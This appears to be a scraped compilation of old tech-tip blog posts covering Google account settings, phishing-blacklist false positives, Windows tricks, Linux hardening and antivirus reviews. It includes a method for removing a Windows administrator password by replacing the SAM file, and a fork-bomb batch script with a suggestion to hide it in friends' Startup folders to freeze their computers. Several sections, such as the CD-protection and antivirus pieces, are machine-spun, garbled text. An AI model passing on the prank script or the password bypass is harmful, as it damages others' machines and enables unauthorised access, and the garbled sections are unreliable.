Google Settings Page for Phone Numbers

Google's account settings page has an updated section for phone numbers that groups some features that were already available elsewhere. If you click "edit" next to "phone numbers", Google will show the phone numbers associated with your account.

You'll probably see a phone number associated with Hangouts. You can enable or disable this setting: "Help people who have your phone number find and connect with you on Google services, like Hangouts and caller ID by Google." You can edit the phone number, change the way it's verified or remove the number.

There's also a phone number that's used for account recovery. Google encourages users to enable this feature, but it's optional. For now, the account recovery page is not integrated with the account settings page, so it looks different and has a long URL. "We'll use your phone to do things like challenge hijackers or send you a text message to help you access your account if you forget your password," informs Google.

The phone number management page was added back in May, but now it's more functional.

{ Thanks, Herin. }

New Interface for Google's Account Permissions Page

Google's account permissions page has a new interface which does a better job at listing the permissions, shows bigger thumbnails and the date when you authorized a service.

"On the Account Permissions tab of your Google Account, you can see a list of third-party sites and applications. These are sites and applications to which you've granted permission to access your Google Account, and you can see on this list to what parts of your account they have access. For example, you might have downloaded an app that helps you schedule workouts with friends. This application might have requested access to your Google Calendar and Contacts to suggest times and friends for you to meet up with," informs Google's help center.

Google shows your Android and iOS devices at the top of the page. My Nexus 7 tablet was listed 3 times, so I clicked "Revoke access" next to the entries that include: "Inactive - We haven't seen activity from this device for at least 60 days."

If you see some services you no longer use, click "Revoke access". You'll be asked for permission the next time you use them.

{ Thanks, Florian K. }

Google Operating System, Again a Phishing Site?

Back in September, I wrote about Netcraft, who incorrectly flagged this blog as phishing. Many applications use the Netcraft backlist, so Opera, Kaspersky and probably other apps prevent users from visiting this site. I reported this issue to Netcraft, who solved it, but the site was added again to the blacklist a few days later. A Netcraft employee promised to flag the site as safe.

The issue is that Netcraft only flagged googlesystem.blogspot.com. Blogger redirects to domains like blogspot.co.uk, blogspot.ro, depending on your country. Now Netcraft flags as phishing all googlesystem.blogspot.* URLs, except for googlesystem.blogspot.com. According to VirusTotal, security tools from ESET, Fortinet and Kaspersky show phishing warnings for this blog.

Google Safe Browsing also shows a phishing warning for googlesystem.blogspot.ca, googlesystem.blogspot.se, googlesystem.blogspot.ro, googlesystem.blogspot.com.br and probably other similar URLs. Google Safe Browsing is used by Chrome, Firefox, and Safari for desktop. "Reported Phishing Website Ahead! Google Chrome has blocked access to googlesystem.blogspot.com.br. This website has been reported as a phishing website. Phishing websites are designed to trick you into disclosing your login, password or other sensitive information by disguising themselves as other websites you may trust."

I reported this issue to Netcraft and Google, so hopefully it will be solved. I just don't understand what triggered these phishing warnings and why they're no longer limited to Netcraft.

Update: After a few hours, the issue was fixed.

{ Thanks, Manuel Janeiro. }

Google Operating System, Phishing Site?

If you use Opera to visit the site, you'll probably see this warning: "This site has been reported as fraudulent. Exchanging sensitive or confidential information with this site could put you at risk for identity theft and/or financial fraud. Opera Software strongly discourages visiting this page."

Opera uses Netcraft's phishing blacklist. You'll get a similar warning if you install Netcraft's toolbar:

Netcraft's site report page doesn't provide too many useful information. I could only find that the Google OS blog has a 5/10 risk rating, but the rating varies depending on the URL. The recent post about the Google logo has a 7/10 risk rating.

Many factors contribute to the risk rating of each site. The dominant factor for most sites is the age of the domain name in which the site appears. Domain names that have never been seen in the Netcraft Web Server Survey are given a high risk rating, since many phishing sites and relatively few legitimate sites fall into this category. Other factors which can influence the risk rating include:

* Any other known phishing sites in the same domain.
* Whether a hostname or a numeric IP address is used in the URL.
* Whether or not a port number appears in the URL.
* The hosting ISP's history with respect to phishing sites.
* The hosting country's history with respect to phishing sites.
* The top level domain's history with respect to phishing sites.
* The site's popularity with Netcraft Extension users.

So just because other Blogger blogs are used for phishing, Netcraft decided that this is a phishing site? It's hard to say. Google's official blog has a 0/10 risk rating, while a random blog like googlelatlong.blogspot.com (it's not Google's Maps blog) has a 7/10 risk rating, but there's no warning.

A site that lets you check multiple anti-phishing blacklists is the Google-owned VirusTotal. "VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware." VirusTotal reported that there are 3 services that flag the Google OS blog: Opera, Netcraft and Kaspersky. They probably have the same source.

Here's Kaspersky's "access denied" message:

Ironically, a recent blog post from Kaspersky's site informs that: "Kaspersky's product blocked 99 percent of the 187 phishing websites while producing zero false alarms among the 400 legitimate URLs, earning first place among its competitors with an Advanced + award from AV-Comparatives."

I used Netcraft's browser extension to report that the URL was flagged by mistake and received this message after a few minutes: "Thank you for your enquiry. Following a review of the URL in question, I have unblocked the URL from the toolbar. Please allow a short period of time for the changes to propagate."

{ Thanks, Josh Rich. He reported this issue. }

Breaking Administrator’s Password

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder
note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOS
This way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set.

when Orkut is Blocked..Surf Anonymously using JAP!!

No problem if orkut/youtube etc is blocked in your office or college or school….and you are fed up of using proxy websites and there low urfing speeds.And what worse if these proxy websites are also blocked…..phew!!!!
But no problems….. Download JAP & Download Ultrasurf and easily surf any blocked website with anonymity

Step 1: Download JAP or ultrasurf
Step 2: Execute Setup file [may take few minutes depending upon internet speed]
Step 3: Change you Explorer LAN connection settings

Change the default gateway IP to 127.0.0.1 and port 4001

Thats it you have gained independence to free to surf any website….

Find the “real” IP address of a web site

You can use the PING utility included with Windows to determine the “real” IP address of a web site. Before using this utility, make sure you are not mapping a host name to some IP address with HostName Commander, because if you do, the PING utility will show the address you’ve set up with HostName Commander, instead of the “real” IP address.

To run the PING utility, click on the Windows Start button, and choose Run from the Start Menu. If you use Windows 95,98, or Me, enter “command” (without the quotes) as the command line to run. If you use Windows XP,2000, or NT, enter “cmd” (again, without the quotes). Click OK and the command prompt window should appear on the screen.

Now enter the word “ping” (without the quotes) followed by a space, followed by the host name you want to determine the IP address of, and press Enter:

In this example, the IP address of the host name www.rkgit.edu.in is 74.52.201.2 & IP Address of the host name www.kiet.edu is 220.225.19.55 . (Keep in mind that the IP address may change in the future!). If the PING utility reports an error, make sure your computer is connected to the Internet when you are running it.

Security Tips for CD

CD-checking software package securities are practiced along nearly all platforms distributed on compact disk. The products therein category range from precise acerose defenses (that aren't actual security versus crackers in the least) to extremely advanced preventive software. The easier products exclusively check to catch whether a platform got down functioning without the exact compact disk, which would imperil the program's functionality. Thither is a lot of methods to discover whether the original compact disk has constituted stuck in into a compact disc read-only memory drive. And, while most overprotective software are helpless versus "burned" compact disks, it could leastwise come through inconceivable to merely copy a program to a hard drive.
One and only argue to apply such that simple defenses are to protect versus the questionable "ripping" of bets on. "Ripping" denotes to the removal of ample merely inessential portions of the game, like music, animation or DirectX. The shriveled games are then packed together so that people on slower connections could download them from the cyberspace, therefore importantly maximizing the amount of pirated copies.

The classical compact disk checkers have their place in the globe, and while correctly programmed, could cause troubles even for the finer crackers. All the same, these protections are frequently easy to discover and bump off.

Locking the desktop

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option.

By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.


Windows XP is like a big ocean of tips and tricks. In the coming days I will add more and more Windows XP tips, tricks and hacks to this article.

Force windows XP to reboot upon crashing

This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:

Open REGEDIT

Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\Control\CrashControl'

Creating a desktop shortcut for locking your pc !

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

How to find the IP address of the email sender in Yahoo! Mail

Guide to tracking of emails to find sender's IP address using email headers.

In this tutorial i shall be writing about the trick to get the IP Address of sender in Yahoo Mail. This is useful if someone is spamming your inbox with junk mail or any other reason you may have to find the location of the email sender.


Note: You won't be able to find the real IP address if the sender uses an anonymous proxy server.

Here is a step by step guide to get the IP address of an email sender in Yahoo! Mail:

1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or any folder where you have stored your mail.
3. Open the mail
4. At the bottom right region of the email, you'll see there is a drop-down option "Full Headers". If you can't find it press Ctrl+F and search for "header".


5. Click on it and look for Received: from followed by the IP address between square brackets [ ].


6. That should most likely be the IP address of the sender. If there are many instances of Received: from with the IP address, select the IP address in the last pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.

Now, you can find the exact location of the sender by using GeoBytes IP Locator or IP2Location.

Recover Lost Instant Messenger Passwords with MessenPass

Recover your lost password for MSN Messenger, Yahoo Messenger, ICQ, etc.

MessenPass is a password recovery tool that reveals the passwords of the most popular instant messenger applications, such as MSN Messenger, Live Messenger, Yahoo! Messenger, Google Talk, ICQ, Trillian, Gaim and many more.


MessenPass reveals the passwords of the following instant messenger applications:

• MSN Messenger
• Windows Messenger (In Windows XP)
• Windows Live Messenger (In Windows XP And Vista)
• Yahoo Messenger (Versions 5.x and 6.x)
• Google Talk
• ICQ Lite 4.x/5.x/2003
• AOL Instant Messenger v4.6 or below, AIM 6.x, and AIM Pro.
• Trillian
• Trillian Astra
• Miranda
• GAIM/Pidgin
• MySpace IM
• PaltalkScene
• Digsby

Download

The application can only be used to recover the passwords for the current logged-on user on your local computer, and it only works if you chose the remember your password in one of the above programs.

Learn about Linux security

General overview of security issues that face the administrator of Linux systems.

Although linux-based operating systems are considerably safer when compared to Windows and Mac OSX, there are still steps that you can take to ensure that your linux box stays safe and protected. In this post I will illustrate a few techniques you can use to keep your machine locked down tight.

1. Firewalls are your guardian angels.

First of all, keep a software firewall active on your system, and restrict access to ports that allow remote access into your system, a good idea is to allow only a few select hosts access to ports used by services such as ssh (port 22) or telnet (port 23). Keeping a firewall in place ensures that you alone dictate who gets to access remote services on your computer and who doesn’t. To set up a firewall in linux, you can use the iptables program which comes standard with most linux distributions. However, iptables is quite difficult and complicated to set up correctly, and you will need to spend some time fiddling with the command line, but it is very flexible and powerful once configured correctly.

If messing about with iptables dosen’t appeal to you, there are frontends to iptables that you can use to set up effective firewalls. One such frontend is ufw (uncomplicated firewall) this program comes standard on ubuntu and is quite simple to set up, to use it you first have to enable it by typing in ’sudo enable ufw’ in the terminal, once the ufw service is active, adding rules is as simple as ’sudo allow 22/tcp’ > this statement allows all tcp traffic on port 22, swap allow for deny and you have the ssh service blocked, Its that simple, much easier than mucking about with iptables.

Of course, there are many people who do not like the idea of using command-line programs and like all their apps to be graphical. If you prefer a GUI configured firewall, then firestarter is the choice for you. Firestarter is a breeze to use, and has good documentation available on the firestarter website.

2. Passwords are for your protection, choose them well

Choose good user passwords, especially for root. One way to choose a secure password is to take a sentence, reduce it to an acronym and then replace some letters of the acronym with symbols and add some numbers to it. this mixing of alphabets, numbers and symbols, along with its long length will be a strong password.

Never use actual words that have meaning as passwords. These types of passwords are weak and can be cracked using dictionary attacks. Also along those lines: Never use words that hold personal significance with you.. i.e don’t use passwords that people who know you will be inclined to think that you would use, like a favorite pet’s name.. etc.

And for god’s sake, don’t use the word ‘password’ as a password…. ( don’t laugh… thats one of the most common passwords .. )

3. Use antivirus

Yeaps you read right.. antivirus. Antivirus on linux you say? Yes, linux has antivirus suites as well , but this is more for cleaning off your thumbdrives that you may have used in an infected windows machine than for killing linux viruses, as the system of user permissions for executing files makes linux a very inhospitable place for computer viruses to live. clamAV is a good antivirus choice, with a GUI version available for most major distros.

4. Be careful what scripts you get off the net

Getting bash scripts off the net is convenient, but be careful what scripts you run on your system, and make sure you check them out first. If you suspect that a script you got has some nasty intentions behind it, but you do not have the expertise in bash scripting to be sure, post the script in text form on linux support forums and the community will help you out. Unfortunatly, there are idiots out there who write destructive shell scripts and release them into the wilds of the internet, in this case intuition is your best defence.

5. Encrypt sensitive data that you may have.

The concept behind encryption is relatively simple, make the data to be encrypted unreadable to anybody besides authorised users.
My favourite program for encrypting data on linux AND windows would have to be truecrypt. Truecrypt works by creating a virtual volume which you can then set a passphrase or security key to. When you mount the virtual volume, you can then add files to it, which will be totally encrypted and unviewable once unmounted. The only way to mount the drive is to supply the passphrase or key.

6. Keep your BIOS set to boot from your harddrive and then add a password to your bios.

This is to keep people from booting off from live CDs and cracking your password from them. Although it is relatively easy to reset the BIOS password, this should be at least a minor detterance to those who may try this cracking method.

Well, there you go.. hopefully you wil use these tips and make your system a safer box to work on.

For more information regarding iptables check out this site

Do you have questions, comments, or suggestions? Feel free to post a comment!

Ways to prevent your PEN drive from VIRUS

*Now go to Start--> Run and type cmd to open the Command Prompt window .

*Now go to My Computer and Check the Drive letter of your USB drive or Pen Drive.
( E.g. If it is written Kingston (I), then I: will be the drive letter .)

*In the Command Window ( cmd ) , type the drive letter: and Hit Enter .

*Now type dir/w/o/a/p and Hit Enter

*You will get a list of files . In the list , search if anyone of the following do exist

1. Autorun.inf

2. New Folder.exe

3. Bha.vbs

4. Iexplore.vbs

5. Info.exe
6. New_Folder.exe

7. Ravmon.exe
8. RVHost.exe or any other files with .exe Extension .

If you find any one of the files above , Run the command attrib -h -r -s -a *.* and Hit Enter.

Now Delete each File using the following Command del filename ( E.g del autorun.inf ) .

Free Security Enhancements

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.


3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

How to see secure sites?

Fix the problem with seeing them secrue sites (banks or online stores) i found this very usefull to me at my work (isp backbone support lol, at the time i was regular support )

Any way... what u need to do is make a new notepad file and write in it the followng DLL's.. just copy-paste these

regsvr32 SOFTPUB.DLL
regsvr32 WINTRUST.DLL
regsvr32 INITPKI.DLL
regsvr32 dssenh.dll
regsvr32 Rsaenh.dll
regsvr32 gpkcsp.dll
regsvr32 sccbase.dll
regsvr32 slbcsp.dll
regsvr32 Cryptdlg.dll


and save it as > all file types, and make it something like securefix.bat.

then just run the file and ur problem shuld be gone.

Trick to Lock ur PC yourself

lock ur pc.. open notepad copy and paste the script below and save it .VBS extention
This wil create a shortcut.. run(click) it

set WshShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WshShell.CreateShortcut(wshShell.SpecialFolders("Desktop") & "\LockWorkstation.lnk")
oShellLink.TargetPath = "%windir%\system32\rundll32.exe"
oShellLink.Arguments = "user32.dll,LockWorkStation"
oShellLink.Save

first select a folder for example i'll use a folder name movies in D drive D:\movies\

in the same drive u create a text file and type

ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}

and save it as loc.bat

again u type in a notepad as

ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} movies

and save it as key.bat

now in D drive u can see two batch files loc and key.. when u double click loc the movie folder will change to control panel and whn u double click key the control panel will change to normal folder..

there are two more different tricks in dis site to lock ur pc down in a unique ways.. donno where i have typed it.. !!!

A Fork Bomb Used To Freeze A PC

This is a small code , which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.

how to find the best antivirus for pc

There are many viruses, trojan or malware in the world wide web. Today many PC infected by these suck program. Or your PC's was infected.

Before purchasing of downloading antivirus program there are some factors that this software must have. These factors are:

1. Its efficacy during stealing viruses (check eccentric tests for unprejudiced results)
2. Its palliate of have use of (normally down to the user interface)
3. Its worth for income
4. Its patron as good as technical await (should be giveaway as good as 24/7 ideally)
5. Its rule of updates
6. Its empty upon complement resources
7. Its compatibility

When all the vital criteria were investigated you found which Kaspersky antivirus 7.0 to be the most appropriate all turn antivirus program upon the marketplace day. However, it might not encounter your mandate so it is critical to do your own review regulating the criteria above. Our commentary of the little of the tip sellers have been below. Hopefully this will give you the little superintendence of what is out there during the impulse as good as what might fit you.

Kaspersky Anti-Virus 7.0
The pathogen showing record which drives this program has achieved really good in eccentric tests as good as gained the clever repute inside of the industry. The technical await is glorious as good as the user interface intuitive.

The alternative categorical advantages with it have been the parental carry out facilities which have been not benefaction in alternative program (great for you relatives out there) as good as the cue stable remoteness control. We found which it had minimal outcome upon Personal Computer opening (apart from the primary indicate which did delayed things down). Finally, as good as really importantly it carried out programmed hourly updates as good as genuine time internet scanning.

The downsides were the cost $59.99 as good as the time it took to do the primary scan.

BitDefender Antivirus 2008
Another really in effect square of antivirus program is BitDefender. the scanning engines have been ICSA Labs certifies as good as it additionally adds the combined reward of antispyware as good as antiadware. Gamers should be gratified with the code new gamer chronicle which stops irritating cocktail ups during diversion play.

A pass value of this program over others is the rootkit showing as good as dismissal feature. Again this is something which sets it over as good as upon tip of the competition. Free 24/7 await as good as the in accord with cost ($24.95) have it the genuine contender to Kaspersky antvirus 7.0. The downsides to this chronicle have been the miss of modernized pattern options which will perplex the some-more modernized user. The scans were additionally upon the extensive side.

Norton Antivirus 2008
Despite carrying the clever code as good as most years of knowledge building antivirus program you consider Norton Antivirus 2008 to be the single of the misfortune upon the market. It does the basis ok though there have been as well most problems with it to be competitive. For example, there seems to be an arrogance usually IE users exist. Help conditions have been geared towards IE users as good as Browser Defender does not work with any alternative browsers.

It is the large 300MB, which is scarcely 6 times the distance of Kaspersky anti-virus 7.0. The singular opening does not clear this size. It slowed down the appurtenance measurably. The interface was horrible as good as configuring settings was the genuine pain. Finally, the anti-spyware was not really effective.